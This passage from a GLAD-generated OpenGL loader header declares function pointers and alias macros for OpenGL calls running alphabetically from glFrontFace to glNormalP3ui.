#define glFrontFace glad_glFrontFace
GLAD_API_CALL PFNGLFRUSTUMPROC glad_glFrustum;
#define glFrustum glad_glFrustum
GLAD_API_CALL PFNGLGENBUFFERSPROC glad_glGenBuffers;
#define glGenBuffers glad_glGenBuffers
GLAD_API_CALL PFNGLGENFRAMEBUFFERSPROC glad_glGenFramebuffers;
#define glGenFramebuffers glad_glGenFramebuffers
GLAD_API_CALL PFNGLGENFRAMEBUFFERSEXTPROC glad_glGenFramebuffersEXT;
#define glGenFramebuffersEXT glad_glGenFramebuffersEXT
GLAD_API_CALL PFNGLGENLISTSPROC glad_glGenLists;
#define glGenLists glad_glGenLists
GLAD_API_CALL PFNGLGENQUERIESPROC glad_glGenQueries;
#define glGenQueries glad_glGenQueries
GLAD_API_CALL PFNGLGENRENDERBUFFERSPROC glad_glGenRenderbuffers;
#define glGenRenderbuffers glad_glGenRenderbuffers
GLAD_API_CALL PFNGLGENRENDERBUFFERSEXTPROC glad_glGenRenderbuffersEXT;
#define glGenRenderbuffersEXT glad_glGenRenderbuffersEXT
GLAD_API_CALL PFNGLGENSAMPLERSPROC glad_glGenSamplers;
#define glGenSamplers glad_glGenSamplers
GLAD_API_CALL PFNGLGENTEXTURESPROC glad_glGenTextures;
#define glGenTextures glad_glGenTextures
GLAD_API_CALL PFNGLGENVERTEXARRAYSPROC glad_glGenVertexArrays;
#define glGenVertexArrays glad_glGenVertexArrays
GLAD_API_CALL PFNGLGENERATEMIPMAPPROC glad_glGenerateMipmap;
#define glGenerateMipmap glad_glGenerateMipmap
GLAD_API_CALL PFNGLGENERATEMIPMAPEXTPROC glad_glGenerateMipmapEXT;
#define glGenerateMipmapEXT glad_glGenerateMipmapEXT
GLAD_API_CALL PFNGLGETACTIVEATTRIBPROC glad_glGetActiveAttrib;
#define glGetActiveAttrib glad_glGetActiveAttrib
GLAD_API_CALL PFNGLGETACTIVEUNIFORMPROC glad_glGetActiveUniform;
#define glGetActiveUniform glad_glGetActiveUniform
GLAD_API_CALL PFNGLGETACTIVEUNIFORMBLOCKNAMEPROC glad_glGetActiveUniformBlockName;
#define glGetActiveUniformBlockName glad_glGetActiveUniformBlockName
GLAD_API_CALL PFNGLGETACTIVEUNIFORMBLOCKIVPROC glad_glGetActiveUniformBlockiv;
#define glGetActiveUniformBlockiv glad_glGetActiveUniformBlockiv
GLAD_API_CALL PFNGLGETACTIVEUNIFORMNAMEPROC glad_glGetActiveUniformName;
#define glGetActiveUniformName glad_glGetActiveUniformName
GLAD_API_CALL PFNGLGETACTIVEUNIFORMSIVPROC glad_glGetActiveUniformsiv;
#define glGetActiveUniformsiv glad_glGetActiveUniformsiv
GLAD_API_CALL PFNGLGETATTACHEDSHADERSPROC glad_glGetAttachedShaders;
#define glGetAttachedShaders glad_glGetAttachedShaders
GLAD_API_CALL PFNGLGETATTRIBLOCATIONPROC glad_glGetAttribLocation;
#define glGetAttribLocation glad_glGetAttribLocation
GLAD_API_CALL PFNGLGETBOOLEANI_VPROC glad_glGetBooleani_v;
#define glGetBooleani_v glad_glGetBooleani_v
GLAD_API_CALL PFNGLGETBOOLEANVPROC glad_glGetBooleanv;
#define glGetBooleanv glad_glGetBooleanv
GLAD_API_CALL PFNGLGETBUFFERPARAMETERI64VPROC glad_glGetBufferParameteri64v;
#define glGetBufferParameteri64v glad_glGetBufferParameteri64v
GLAD_API_CALL PFNGLGETBUFFERPARAMETERIVPROC glad_glGetBufferParameteriv;
#define glGetBufferParameteriv glad_glGetBufferParameteriv
GLAD_API_CALL PFNGLGETBUFFERPOINTERVPROC glad_glGetBufferPointerv;
#define glGetBufferPointerv glad_glGetBufferPointerv
GLAD_API_CALL PFNGLGETBUFFERSUBDATAPROC glad_glGetBufferSubData;
#define glGetBufferSubData glad_glGetBufferSubData
GLAD_API_CALL PFNGLGETCLIPPLANEPROC glad_glGetClipPlane;
#define glGetClipPlane glad_glGetClipPlane
GLAD_API_CALL PFNGLGETCOMPRESSEDTEXIMAGEPROC glad_glGetCompressedTexImage;
#define glGetCompressedTexImage glad_glGetCompressedTexImage
GLAD_API_CALL PFNGLGETDEBUGMESSAGELOGARBPROC glad_glGetDebugMessageLogARB;
#define glGetDebugMessageLogARB glad_glGetDebugMessageLogARB
GLAD_API_CALL PFNGLGETDOUBLEVPROC glad_glGetDoublev;
#define glGetDoublev glad_glGetDoublev
GLAD_API_CALL PFNGLGETERRORPROC glad_glGetError;
#define glGetError glad_glGetError
GLAD_API_CALL PFNGLGETFLOATVPROC glad_glGetFloatv;
#define glGetFloatv glad_glGetFloatv
GLAD_API_CALL PFNGLGETFRAGDATAINDEXPROC glad_glGetFragDataIndex;
#define glGetFragDataIndex glad_glGetFragDataIndex
GLAD_API_CALL PFNGLGETFRAGDATALOCATIONPROC glad_glGetFragDataLocation;
#define glGetFragDataLocation glad_glGetFragDataLocation
GLAD_API_CALL PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVPROC glad_glGetFramebufferAttachmentParameteriv;
#define glGetFramebufferAttachmentParameteriv glad_glGetFramebufferAttachmentParameteriv
GLAD_API_CALL PFNGLGETFRAMEBUFFERATTACHMENTPARAMETERIVEXTPROC glad_glGetFramebufferAttachmentParameterivEXT;
#define glGetFramebufferAttachmentParameterivEXT glad_glGetFramebufferAttachmentParameterivEXT
GLAD_API_CALL PFNGLGETINTEGER64I_VPROC glad_glGetInteger64i_v;
#define glGetInteger64i_v glad_glGetInteger64i_v
GLAD_API_CALL PFNGLGETINTEGER64VPROC glad_glGetInteger64v;
#define glGetInteger64v glad_glGetInteger64v
GLAD_API_CALL PFNGLGETINTEGERI_VPROC glad_glGetIntegeri_v;
#define glGetIntegeri_v glad_glGetIntegeri_v
GLAD_API_CALL PFNGLGETINTEGERVPROC glad_glGetIntegerv;
#define glGetIntegerv glad_glGetIntegerv
GLAD_API_CALL PFNGLGETLIGHTFVPROC glad_glGetLightfv;
#define glGetLightfv glad_glGetLightfv
GLAD_API_CALL PFNGLGETLIGHTIVPROC glad_glGetLightiv;
#define glGetLightiv glad_glGetLightiv
GLAD_API_CALL PFNGLGETMAPDVPROC glad_glGetMapdv;
#define glGetMapdv glad_glGetMapdv
GLAD_API_CALL PFNGLGETMAPFVPROC glad_glGetMapfv;
#define glGetMapfv glad_glGetMapfv
GLAD_API_CALL PFNGLGETMAPIVPROC glad_glGetMapiv;
#define glGetMapiv glad_glGetMapiv
GLAD_API_CALL PFNGLGETMATERIALFVPROC glad_glGetMaterialfv;
#define glGetMaterialfv glad_glGetMaterialfv
GLAD_API_CALL PFNGLGETMATERIALIVPROC glad_glGetMaterialiv;
#define glGetMaterialiv glad_glGetMaterialiv
GLAD_API_CALL PFNGLGETMULTISAMPLEFVPROC glad_glGetMultisamplefv;
#define glGetMultisamplefv glad_glGetMultisamplefv
GLAD_API_CALL PFNGLGETPIXELMAPFVPROC glad_glGetPixelMapfv;
#define glGetPixelMapfv glad_glGetPixelMapfv
GLAD_API_CALL PFNGLGETPIXELMAPUIVPROC glad_glGetPixelMapuiv;
#define glGetPixelMapuiv glad_glGetPixelMapuiv
GLAD_API_CALL PFNGLGETPIXELMAPUSVPROC glad_glGetPixelMapusv;
#define glGetPixelMapusv glad_glGetPixelMapusv
GLAD_API_CALL PFNGLGETPOINTERVPROC glad_glGetPointerv;
#define glGetPointerv glad_glGetPointerv
GLAD_API_CALL PFNGLGETPOLYGONSTIPPLEPROC glad_glGetPolygonStipple;
#define glGetPolygonStipple glad_glGetPolygonStipple
GLAD_API_CALL PFNGLGETPROGRAMBINARYPROC glad_glGetProgramBinary;
#define glGetProgramBinary glad_glGetProgramBinary
GLAD_API_CALL PFNGLGETPROGRAMINFOLOGPROC glad_glGetProgramInfoLog;
#define glGetProgramInfoLog glad_glGetProgramInfoLog
GLAD_API_CALL PFNGLGETPROGRAMIVPROC glad_glGetProgramiv;
#define glGetProgramiv glad_glGetProgramiv
GLAD_API_CALL PFNGLGETQUERYOBJECTI64VPROC glad_glGetQueryObjecti64v;
#define glGetQueryObjecti64v glad_glGetQueryObjecti64v
GLAD_API_CALL PFNGLGETQUERYOBJECTIVPROC glad_glGetQueryObjectiv;
#define glGetQueryObjectiv glad_glGetQueryObjectiv
GLAD_API_CALL PFNGLGETQUERYOBJECTUI64VPROC glad_glGetQueryObjectui64v;
#define glGetQueryObjectui64v glad_glGetQueryObjectui64v
GLAD_API_CALL PFNGLGETQUERYOBJECTUIVPROC glad_glGetQueryObjectuiv;
#define glGetQueryObjectuiv glad_glGetQueryObjectuiv
GLAD_API_CALL PFNGLGETQUERYIVPROC glad_glGetQueryiv;
#define glGetQueryiv glad_glGetQueryiv
GLAD_API_CALL PFNGLGETRENDERBUFFERPARAMETERIVPROC glad_glGetRenderbufferParameteriv;
#define glGetRenderbufferParameteriv glad_glGetRenderbufferParameteriv
GLAD_API_CALL PFNGLGETRENDERBUFFERPARAMETERIVEXTPROC glad_glGetRenderbufferParameterivEXT;
#define glGetRenderbufferParameterivEXT glad_glGetRenderbufferParameterivEXT
GLAD_API_CALL PFNGLGETSAMPLERPARAMETERIIVPROC glad_glGetSamplerParameterIiv;
#define glGetSamplerParameterIiv glad_glGetSamplerParameterIiv
GLAD_API_CALL PFNGLGETSAMPLERPARAMETERIUIVPROC glad_glGetSamplerParameterIuiv;
#define glGetSamplerParameterIuiv glad_glGetSamplerParameterIuiv
GLAD_API_CALL PFNGLGETSAMPLERPARAMETERFVPROC glad_glGetSamplerParameterfv;
#define glGetSamplerParameterfv glad_glGetSamplerParameterfv
GLAD_API_CALL PFNGLGETSAMPLERPARAMETERIVPROC glad_glGetSamplerParameteriv;
#define glGetSamplerParameteriv glad_glGetSamplerParameteriv
GLAD_API_CALL PFNGLGETSHADERINFOLOGPROC glad_glGetShaderInfoLog;
#define glGetShaderInfoLog glad_glGetShaderInfoLog
GLAD_API_CALL PFNGLGETSHADERSOURCEPROC glad_glGetShaderSource;
#define glGetShaderSource glad_glGetShaderSource
GLAD_API_CALL PFNGLGETSHADERIVPROC glad_glGetShaderiv;
#define glGetShaderiv glad_glGetShaderiv
GLAD_API_CALL PFNGLGETSTRINGPROC glad_glGetString;
#define glGetString glad_glGetString
GLAD_API_CALL PFNGLGETSTRINGIPROC glad_glGetStringi;
#define glGetStringi glad_glGetStringi
GLAD_API_CALL PFNGLGETSYNCIVPROC glad_glGetSynciv;
#define glGetSynciv glad_glGetSynciv
GLAD_API_CALL PFNGLGETTEXENVFVPROC glad_glGetTexEnvfv;
#define glGetTexEnvfv glad_glGetTexEnvfv
GLAD_API_CALL PFNGLGETTEXENVIVPROC glad_glGetTexEnviv;
#define glGetTexEnviv glad_glGetTexEnviv
GLAD_API_CALL PFNGLGETTEXGENDVPROC glad_glGetTexGendv;
#define glGetTexGendv glad_glGetTexGendv
GLAD_API_CALL PFNGLGETTEXGENFVPROC glad_glGetTexGenfv;
#define glGetTexGenfv glad_glGetTexGenfv
GLAD_API_CALL PFNGLGETTEXGENIVPROC glad_glGetTexGeniv;
#define glGetTexGeniv glad_glGetTexGeniv
GLAD_API_CALL PFNGLGETTEXIMAGEPROC glad_glGetTexImage;
#define glGetTexImage glad_glGetTexImage
GLAD_API_CALL PFNGLGETTEXLEVELPARAMETERFVPROC glad_glGetTexLevelParameterfv;
#define glGetTexLevelParameterfv glad_glGetTexLevelParameterfv
GLAD_API_CALL PFNGLGETTEXLEVELPARAMETERIVPROC glad_glGetTexLevelParameteriv;
#define glGetTexLevelParameteriv glad_glGetTexLevelParameteriv
GLAD_API_CALL PFNGLGETTEXPARAMETERIIVPROC glad_glGetTexParameterIiv;
#define glGetTexParameterIiv glad_glGetTexParameterIiv
GLAD_API_CALL PFNGLGETTEXPARAMETERIUIVPROC glad_glGetTexParameterIuiv;
#define glGetTexParameterIuiv glad_glGetTexParameterIuiv
GLAD_API_CALL PFNGLGETTEXPARAMETERFVPROC glad_glGetTexParameterfv;
#define glGetTexParameterfv glad_glGetTexParameterfv
GLAD_API_CALL PFNGLGETTEXPARAMETERIVPROC glad_glGetTexParameteriv;
#define glGetTexParameteriv glad_glGetTexParameteriv
GLAD_API_CALL PFNGLGETTRANSFORMFEEDBACKVARYINGPROC glad_glGetTransformFeedbackVarying;
#define glGetTransformFeedbackVarying glad_glGetTransformFeedbackVarying
GLAD_API_CALL PFNGLGETUNIFORMBLOCKINDEXPROC glad_glGetUniformBlockIndex;
#define glGetUniformBlockIndex glad_glGetUniformBlockIndex
GLAD_API_CALL PFNGLGETUNIFORMINDICESPROC glad_glGetUniformIndices;
#define glGetUniformIndices glad_glGetUniformIndices
GLAD_API_CALL PFNGLGETUNIFORMLOCATIONPROC glad_glGetUniformLocation;
#define glGetUniformLocation glad_glGetUniformLocation
GLAD_API_CALL PFNGLGETUNIFORMFVPROC glad_glGetUniformfv;
#define glGetUniformfv glad_glGetUniformfv
GLAD_API_CALL PFNGLGETUNIFORMIVPROC glad_glGetUniformiv;
#define glGetUniformiv glad_glGetUniformiv
GLAD_API_CALL PFNGLGETUNIFORMUIVPROC glad_glGetUniformuiv;
#define glGetUniformuiv glad_glGetUniformuiv
GLAD_API_CALL PFNGLGETVERTEXATTRIBIIVPROC glad_glGetVertexAttribIiv;
#define glGetVertexAttribIiv glad_glGetVertexAttribIiv
GLAD_API_CALL PFNGLGETVERTEXATTRIBIUIVPROC glad_glGetVertexAttribIuiv;
#define glGetVertexAttribIuiv glad_glGetVertexAttribIuiv
GLAD_API_CALL PFNGLGETVERTEXATTRIBPOINTERVPROC glad_glGetVertexAttribPointerv;
#define glGetVertexAttribPointerv glad_glGetVertexAttribPointerv
GLAD_API_CALL PFNGLGETVERTEXATTRIBDVPROC glad_glGetVertexAttribdv;
#define glGetVertexAttribdv glad_glGetVertexAttribdv
GLAD_API_CALL PFNGLGETVERTEXATTRIBFVPROC glad_glGetVertexAttribfv;
#define glGetVertexAttribfv glad_glGetVertexAttribfv
GLAD_API_CALL PFNGLGETVERTEXATTRIBIVPROC glad_glGetVertexAttribiv;
#define glGetVertexAttribiv glad_glGetVertexAttribiv
GLAD_API_CALL PFNGLHINTPROC glad_glHint;
#define glHint glad_glHint
GLAD_API_CALL PFNGLINDEXMASKPROC glad_glIndexMask;
#define glIndexMask glad_glIndexMask
GLAD_API_CALL PFNGLINDEXPOINTERPROC glad_glIndexPointer;
#define glIndexPointer glad_glIndexPointer
GLAD_API_CALL PFNGLINDEXDPROC glad_glIndexd;
#define glIndexd glad_glIndexd
GLAD_API_CALL PFNGLINDEXDVPROC glad_glIndexdv;
#define glIndexdv glad_glIndexdv
GLAD_API_CALL PFNGLINDEXFPROC glad_glIndexf;
#define glIndexf glad_glIndexf
GLAD_API_CALL PFNGLINDEXFVPROC glad_glIndexfv;
#define glIndexfv glad_glIndexfv
GLAD_API_CALL PFNGLINDEXIPROC glad_glIndexi;
#define glIndexi glad_glIndexi
GLAD_API_CALL PFNGLINDEXIVPROC glad_glIndexiv;
#define glIndexiv glad_glIndexiv
GLAD_API_CALL PFNGLINDEXSPROC glad_glIndexs;
#define glIndexs glad_glIndexs
GLAD_API_CALL PFNGLINDEXSVPROC glad_glIndexsv;
#define glIndexsv glad_glIndexsv
GLAD_API_CALL PFNGLINDEXUBPROC glad_glIndexub;
#define glIndexub glad_glIndexub
GLAD_API_CALL PFNGLINDEXUBVPROC glad_glIndexubv;
#define glIndexubv glad_glIndexubv
GLAD_API_CALL PFNGLINITNAMESPROC glad_glInitNames;
#define glInitNames glad_glInitNames
GLAD_API_CALL PFNGLINTERLEAVEDARRAYSPROC glad_glInterleavedArrays;
#define glInterleavedArrays glad_glInterleavedArrays
GLAD_API_CALL PFNGLISBUFFERPROC glad_glIsBuffer;
#define glIsBuffer glad_glIsBuffer
GLAD_API_CALL PFNGLISENABLEDPROC glad_glIsEnabled;
#define glIsEnabled glad_glIsEnabled
GLAD_API_CALL PFNGLISENABLEDIPROC glad_glIsEnabledi;
#define glIsEnabledi glad_glIsEnabledi
GLAD_API_CALL PFNGLISFRAMEBUFFERPROC glad_glIsFramebuffer;
#define glIsFramebuffer glad_glIsFramebuffer
GLAD_API_CALL PFNGLISFRAMEBUFFEREXTPROC glad_glIsFramebufferEXT;
#define glIsFramebufferEXT glad_glIsFramebufferEXT
GLAD_API_CALL PFNGLISLISTPROC glad_glIsList;
#define glIsList glad_glIsList
GLAD_API_CALL PFNGLISPROGRAMPROC glad_glIsProgram;
#define glIsProgram glad_glIsProgram
GLAD_API_CALL PFNGLISQUERYPROC glad_glIsQuery;
#define glIsQuery glad_glIsQuery
GLAD_API_CALL PFNGLISRENDERBUFFERPROC glad_glIsRenderbuffer;
#define glIsRenderbuffer glad_glIsRenderbuffer
GLAD_API_CALL PFNGLISRENDERBUFFEREXTPROC glad_glIsRenderbufferEXT;
#define glIsRenderbufferEXT glad_glIsRenderbufferEXT
GLAD_API_CALL PFNGLISSAMPLERPROC glad_glIsSampler;
#define glIsSampler glad_glIsSampler
GLAD_API_CALL PFNGLISSHADERPROC glad_glIsShader;
#define glIsShader glad_glIsShader
GLAD_API_CALL PFNGLISSYNCPROC glad_glIsSync;
#define glIsSync glad_glIsSync
GLAD_API_CALL PFNGLISTEXTUREPROC glad_glIsTexture;
#define glIsTexture glad_glIsTexture
GLAD_API_CALL PFNGLISVERTEXARRAYPROC glad_glIsVertexArray;
#define glIsVertexArray glad_glIsVertexArray
GLAD_API_CALL PFNGLLIGHTMODELFPROC glad_glLightModelf;
#define glLightModelf glad_glLightModelf
GLAD_API_CALL PFNGLLIGHTMODELFVPROC glad_glLightModelfv;
#define glLightModelfv glad_glLightModelfv
GLAD_API_CALL PFNGLLIGHTMODELIPROC glad_glLightModeli;
#define glLightModeli glad_glLightModeli
GLAD_API_CALL PFNGLLIGHTMODELIVPROC glad_glLightModeliv;
#define glLightModeliv glad_glLightModeliv
GLAD_API_CALL PFNGLLIGHTFPROC glad_glLightf;
#define glLightf glad_glLightf
GLAD_API_CALL PFNGLLIGHTFVPROC glad_glLightfv;
#define glLightfv glad_glLightfv
GLAD_API_CALL PFNGLLIGHTIPROC glad_glLighti;
#define glLighti glad_glLighti
GLAD_API_CALL PFNGLLIGHTIVPROC glad_glLightiv;
#define glLightiv glad_glLightiv
GLAD_API_CALL PFNGLLINESTIPPLEPROC glad_glLineStipple;
#define glLineStipple glad_glLineStipple
GLAD_API_CALL PFNGLLINEWIDTHPROC glad_glLineWidth;
#define glLineWidth glad_glLineWidth
GLAD_API_CALL PFNGLLINKPROGRAMPROC glad_glLinkProgram;
#define glLinkProgram glad_glLinkProgram
GLAD_API_CALL PFNGLLISTBASEPROC glad_glListBase;
#define glListBase glad_glListBase
GLAD_API_CALL PFNGLLOADIDENTITYPROC glad_glLoadIdentity;
#define glLoadIdentity glad_glLoadIdentity
GLAD_API_CALL PFNGLLOADMATRIXDPROC glad_glLoadMatrixd;
#define glLoadMatrixd glad_glLoadMatrixd
GLAD_API_CALL PFNGLLOADMATRIXFPROC glad_glLoadMatrixf;
#define glLoadMatrixf glad_glLoadMatrixf
GLAD_API_CALL PFNGLLOADNAMEPROC glad_glLoadName;
#define glLoadName glad_glLoadName
GLAD_API_CALL PFNGLLOADTRANSPOSEMATRIXDPROC glad_glLoadTransposeMatrixd;
#define glLoadTransposeMatrixd glad_glLoadTransposeMatrixd
GLAD_API_CALL PFNGLLOADTRANSPOSEMATRIXFPROC glad_glLoadTransposeMatrixf;
#define glLoadTransposeMatrixf glad_glLoadTransposeMatrixf
GLAD_API_CALL PFNGLLOGICOPPROC glad_glLogicOp;
#define glLogicOp glad_glLogicOp
GLAD_API_CALL PFNGLMAP1DPROC glad_glMap1d;
#define glMap1d glad_glMap1d
GLAD_API_CALL PFNGLMAP1FPROC glad_glMap1f;
#define glMap1f glad_glMap1f
GLAD_API_CALL PFNGLMAP2DPROC glad_glMap2d;
#define glMap2d glad_glMap2d
GLAD_API_CALL PFNGLMAP2FPROC glad_glMap2f;
#define glMap2f glad_glMap2f
GLAD_API_CALL PFNGLMAPBUFFERPROC glad_glMapBuffer;
#define glMapBuffer glad_glMapBuffer
GLAD_API_CALL PFNGLMAPBUFFERRANGEPROC glad_glMapBufferRange;
#define glMapBufferRange glad_glMapBufferRange
GLAD_API_CALL PFNGLMAPGRID1DPROC glad_glMapGrid1d;
#define glMapGrid1d glad_glMapGrid1d
GLAD_API_CALL PFNGLMAPGRID1FPROC glad_glMapGrid1f;
#define glMapGrid1f glad_glMapGrid1f
GLAD_API_CALL PFNGLMAPGRID2DPROC glad_glMapGrid2d;
#define glMapGrid2d glad_glMapGrid2d
GLAD_API_CALL PFNGLMAPGRID2FPROC glad_glMapGrid2f;
#define glMapGrid2f glad_glMapGrid2f
GLAD_API_CALL PFNGLMATERIALFPROC glad_glMaterialf;
#define glMaterialf glad_glMaterialf
GLAD_API_CALL PFNGLMATERIALFVPROC glad_glMaterialfv;
#define glMaterialfv glad_glMaterialfv
GLAD_API_CALL PFNGLMATERIALIPROC glad_glMateriali;
#define glMateriali glad_glMateriali
GLAD_API_CALL PFNGLMATERIALIVPROC glad_glMaterialiv;
#define glMaterialiv glad_glMaterialiv
GLAD_API_CALL PFNGLMATRIXMODEPROC glad_glMatrixMode;
#define glMatrixMode glad_glMatrixMode
GLAD_API_CALL PFNGLMULTMATRIXDPROC glad_glMultMatrixd;
#define glMultMatrixd glad_glMultMatrixd
GLAD_API_CALL PFNGLMULTMATRIXFPROC glad_glMultMatrixf;
#define glMultMatrixf glad_glMultMatrixf
GLAD_API_CALL PFNGLMULTTRANSPOSEMATRIXDPROC glad_glMultTransposeMatrixd;
#define glMultTransposeMatrixd glad_glMultTransposeMatrixd
GLAD_API_CALL PFNGLMULTTRANSPOSEMATRIXFPROC glad_glMultTransposeMatrixf;
#define glMultTransposeMatrixf glad_glMultTransposeMatrixf
GLAD_API_CALL PFNGLMULTIDRAWARRAYSPROC glad_glMultiDrawArrays;
#define glMultiDrawArrays glad_glMultiDrawArrays
GLAD_API_CALL PFNGLMULTIDRAWELEMENTSPROC glad_glMultiDrawElements;
#define glMultiDrawElements glad_glMultiDrawElements
GLAD_API_CALL PFNGLMULTIDRAWELEMENTSBASEVERTEXPROC glad_glMultiDrawElementsBaseVertex;
#define glMultiDrawElementsBaseVertex glad_glMultiDrawElementsBaseVertex
GLAD_API_CALL PFNGLMULTITEXCOORD1DPROC glad_glMultiTexCoord1d;
#define glMultiTexCoord1d glad_glMultiTexCoord1d
GLAD_API_CALL PFNGLMULTITEXCOORD1DVPROC glad_glMultiTexCoord1dv;
#define glMultiTexCoord1dv glad_glMultiTexCoord1dv
GLAD_API_CALL PFNGLMULTITEXCOORD1FPROC glad_glMultiTexCoord1f;
#define glMultiTexCoord1f glad_glMultiTexCoord1f
GLAD_API_CALL PFNGLMULTITEXCOORD1FVPROC glad_glMultiTexCoord1fv;
#define glMultiTexCoord1fv glad_glMultiTexCoord1fv
GLAD_API_CALL PFNGLMULTITEXCOORD1IPROC glad_glMultiTexCoord1i;
#define glMultiTexCoord1i glad_glMultiTexCoord1i
GLAD_API_CALL PFNGLMULTITEXCOORD1IVPROC glad_glMultiTexCoord1iv;
#define glMultiTexCoord1iv glad_glMultiTexCoord1iv
GLAD_API_CALL PFNGLMULTITEXCOORD1SPROC glad_glMultiTexCoord1s;
#define glMultiTexCoord1s glad_glMultiTexCoord1s
GLAD_API_CALL PFNGLMULTITEXCOORD1SVPROC glad_glMultiTexCoord1sv;
#define glMultiTexCoord1sv glad_glMultiTexCoord1sv
GLAD_API_CALL PFNGLMULTITEXCOORD2DPROC glad_glMultiTexCoord2d;
#define glMultiTexCoord2d glad_glMultiTexCoord2d
GLAD_API_CALL PFNGLMULTITEXCOORD2DVPROC glad_glMultiTexCoord2dv;
#define glMultiTexCoord2dv glad_glMultiTexCoord2dv
GLAD_API_CALL PFNGLMULTITEXCOORD2FPROC glad_glMultiTexCoord2f;
#define glMultiTexCoord2f glad_glMultiTexCoord2f
GLAD_API_CALL PFNGLMULTITEXCOORD2FVPROC glad_glMultiTexCoord2fv;
#define glMultiTexCoord2fv glad_glMultiTexCoord2fv
GLAD_API_CALL PFNGLMULTITEXCOORD2IPROC glad_glMultiTexCoord2i;
#define glMultiTexCoord2i glad_glMultiTexCoord2i
GLAD_API_CALL PFNGLMULTITEXCOORD2IVPROC glad_glMultiTexCoord2iv;
#define glMultiTexCoord2iv glad_glMultiTexCoord2iv
GLAD_API_CALL PFNGLMULTITEXCOORD2SPROC glad_glMultiTexCoord2s;
#define glMultiTexCoord2s glad_glMultiTexCoord2s
GLAD_API_CALL PFNGLMULTITEXCOORD2SVPROC glad_glMultiTexCoord2sv;
#define glMultiTexCoord2sv glad_glMultiTexCoord2sv
GLAD_API_CALL PFNGLMULTITEXCOORD3DPROC glad_glMultiTexCoord3d;
#define glMultiTexCoord3d glad_glMultiTexCoord3d
GLAD_API_CALL PFNGLMULTITEXCOORD3DVPROC glad_glMultiTexCoord3dv;
#define glMultiTexCoord3dv glad_glMultiTexCoord3dv
GLAD_API_CALL PFNGLMULTITEXCOORD3FPROC glad_glMultiTexCoord3f;
#define glMultiTexCoord3f glad_glMultiTexCoord3f
GLAD_API_CALL PFNGLMULTITEXCOORD3FVPROC glad_glMultiTexCoord3fv;
#define glMultiTexCoord3fv glad_glMultiTexCoord3fv
GLAD_API_CALL PFNGLMULTITEXCOORD3IPROC glad_glMultiTexCoord3i;
#define glMultiTexCoord3i glad_glMultiTexCoord3i
GLAD_API_CALL PFNGLMULTITEXCOORD3IVPROC glad_glMultiTexCoord3iv;
#define glMultiTexCoord3iv glad_glMultiTexCoord3iv
GLAD_API_CALL PFNGLMULTITEXCOORD3SPROC glad_glMultiTexCoord3s;
#define glMultiTexCoord3s glad_glMultiTexCoord3s
GLAD_API_CALL PFNGLMULTITEXCOORD3SVPROC glad_glMultiTexCoord3sv;
#define glMultiTexCoord3sv glad_glMultiTexCoord3sv
GLAD_API_CALL PFNGLMULTITEXCOORD4DPROC glad_glMultiTexCoord4d;
#define glMultiTexCoord4d glad_glMultiTexCoord4d
GLAD_API_CALL PFNGLMULTITEXCOORD4DVPROC glad_glMultiTexCoord4dv;
#define glMultiTexCoord4dv glad_glMultiTexCoord4dv
GLAD_API_CALL PFNGLMULTITEXCOORD4FPROC glad_glMultiTexCoord4f;
#define glMultiTexCoord4f glad_glMultiTexCoord4f
GLAD_API_CALL PFNGLMULTITEXCOORD4FVPROC glad_glMultiTexCoord4fv;
#define glMultiTexCoord4fv glad_glMultiTexCoord4fv
GLAD_API_CALL PFNGLMULTITEXCOORD4IPROC glad_glMultiTexCoord4i;
#define glMultiTexCoord4i glad_glMultiTexCoord4i
GLAD_API_CALL PFNGLMULTITEXCOORD4IVPROC glad_glMultiTexCoord4iv;
#define glMultiTexCoord4iv glad_glMultiTexCoord4iv
GLAD_API_CALL PFNGLMULTITEXCOORD4SPROC glad_glMultiTexCoord4s;
#define glMultiTexCoord4s glad_glMultiTexCoord4s
GLAD_API_CALL PFNGLMULTITEXCOORD4SVPROC glad_glMultiTexCoord4sv;
#define glMultiTexCoord4sv glad_glMultiTexCoord4sv
GLAD_API_CALL PFNGLMULTITEXCOORDP1UIPROC glad_glMultiTexCoordP1ui;
#define glMultiTexCoordP1ui glad_glMultiTexCoordP1ui
GLAD_API_CALL PFNGLMULTITEXCOORDP1UIVPROC glad_glMultiTexCoordP1uiv;
#define glMultiTexCoordP1uiv glad_glMultiTexCoordP1uiv
GLAD_API_CALL PFNGLMULTITEXCOORDP2UIPROC glad_glMultiTexCoordP2ui;
#define glMultiTexCoordP2ui glad_glMultiTexCoordP2ui
GLAD_API_CALL PFNGLMULTITEXCOORDP2UIVPROC glad_glMultiTexCoordP2uiv;
#define glMultiTexCoordP2uiv glad_glMultiTexCoordP2uiv
GLAD_API_CALL PFNGLMULTITEXCOORDP3UIPROC glad_glMultiTexCoordP3ui;
#define glMultiTexCoordP3ui glad_glMultiTexCoordP3ui
GLAD_API_CALL PFNGLMULTITEXCOORDP3UIVPROC glad_glMultiTexCoordP3uiv;
#define glMultiTexCoordP3uiv glad_glMultiTexCoordP3uiv
GLAD_API_CALL PFNGLMULTITEXCOORDP4UIPROC glad_glMultiTexCoordP4ui;
#define glMultiTexCoordP4ui glad_glMultiTexCoordP4ui
GLAD_API_CALL PFNGLMULTITEXCOORDP4UIVPROC glad_glMultiTexCoordP4uiv;
#define glMultiTexCoordP4uiv glad_glMultiTexCoordP4uiv
GLAD_API_CALL PFNGLNEWLISTPROC glad_glNewList;
#define glNewList glad_glNewList
GLAD_API_CALL PFNGLNORMAL3BPROC glad_glNormal3b;
#define glNormal3b glad_glNormal3b
GLAD_API_CALL PFNGLNORMAL3BVPROC glad_glNormal3bv;
#define glNormal3bv glad_glNormal3bv
GLAD_API_CALL PFNGLNORMAL3DPROC glad_glNormal3d;
#define glNormal3d glad_glNormal3d
GLAD_API_CALL PFNGLNORMAL3DVPROC glad_glNormal3dv;
#define glNormal3dv glad_glNormal3dv
GLAD_API_CALL PFNGLNORMAL3FPROC glad_glNormal3f;
#define glNormal3f glad_glNormal3f
GLAD_API_CALL PFNGLNORMAL3FVPROC glad_glNormal3fv;
#define glNormal3fv glad_glNormal3fv
GLAD_API_CALL PFNGLNORMAL3IPROC glad_glNormal3i;
#define glNormal3i glad_glNormal3i
GLAD_API_CALL PFNGLNORMAL3IVPROC glad_glNormal3iv;
#define glNormal3iv glad_glNormal3iv
GLAD_API_CALL PFNGLNORMAL3SPROC glad_glNormal3s;
#define glNormal3s glad_glNormal3s
GLAD_API_CALL PFNGLNORMAL3SVPROC glad_glNormal3sv;
#define glNormal3sv glad_glNormal3sv
GLAD_API_CALL PFNGLNORMALP3UIPROC glad_glNormalP3ui;
#define glNormalP3ui glad_glNormalP3ui
